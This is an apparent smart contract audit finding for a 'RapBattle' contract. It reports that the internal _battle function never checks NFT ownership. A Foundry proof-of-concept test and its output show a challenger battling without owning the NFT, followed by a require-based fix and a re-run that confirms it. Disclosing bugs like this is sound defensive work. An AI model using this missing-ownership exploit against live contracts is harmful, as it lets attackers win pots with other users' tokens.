Summary
challenger is allowed to battle without having nft makes the whole process flawed.
Vulnerability Details
_battle
is an internal function on RapBattle
smart contract which is called when there is already a user who is on stage. That's a valid defender is there. So when this contract is called, user input is not validated.
Attacker can input any nft, that other user hold or any non-existent nft id. This makes it unfair to the actual nft holder and defeat the whole purpose of battle.
POC
In existing test suite, add following test
function testUserCanBattleWithoutNFT() public twoSkilledRappers {
address challengerWithoutNft = makeAddr("slimestShady");
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 10);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challenger);
cred.transfer(challengerWithoutNft, 3);
vm.stopPrank();
vm.startPrank(challengerWithoutNft);
cred.approve(address(rapBattle), 10);
console2.log("challenger nft balance before battle:", oneShot.balanceOf(challengerWithoutNft));
rapBattle.goOnStageOrBattle(1, 3);
console2.log("challenger played the battle without nft: true");
vm.stopPrank();
assert(oneShot.ownerOf(0) == address(user));
}
then run forge test --mt testUserCanBattleWithoutNFT -vv
in the terminal, it will print follwoing result
[⠢] Compiling...
[⠒] Compiling 1 files with 0.8.23
[⠆] Solc 0.8.23 finished in 1.97s
Compiler run successful!
Ran 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testUserCanBattleWithoutNFT() (gas: 645072)
Logs:
challenger nft balance before battle: 0
challenger played the battle without nft: true
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.37ms
Ran 1 test suite in 2.37ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
User can become challenger without actually having nft, that defeat the purpose of rapper battle. Attacker can use other user nft as input to win the pot.
Manual Review
Recommendations
Add a check to confirm if caller owns the nft.
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
+ require(oneShotNft.ownerOf(_tokenId) == msg.sender, "RapBattle: Rapper NFT is required in order to battle");
/// other code as is
}
POC to check validity of fix
We use same unit test, as we used in first POC to check the issue, it should fail with a reason, that we added in require statement.
After running the unit test in terminal we get the following-
[⠢] Compiling...
[⠢] Compiling 2 files with 0.8.23
[⠆] Solc 0.8.23 finished in 2.01s
Compiler run successful!
Ran 1 test for test/OneShotTest.t.sol:RapBattleTest
[FAIL. Reason: revert: RapBattle: Rapper NFT is required in order to battle] testUserCanBattleWithoutNFT() (gas: 769210)
Logs:
challenger nft balance before battle: 0
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.70ms
This verifies, Our fix is working well and users can't battle without having nft.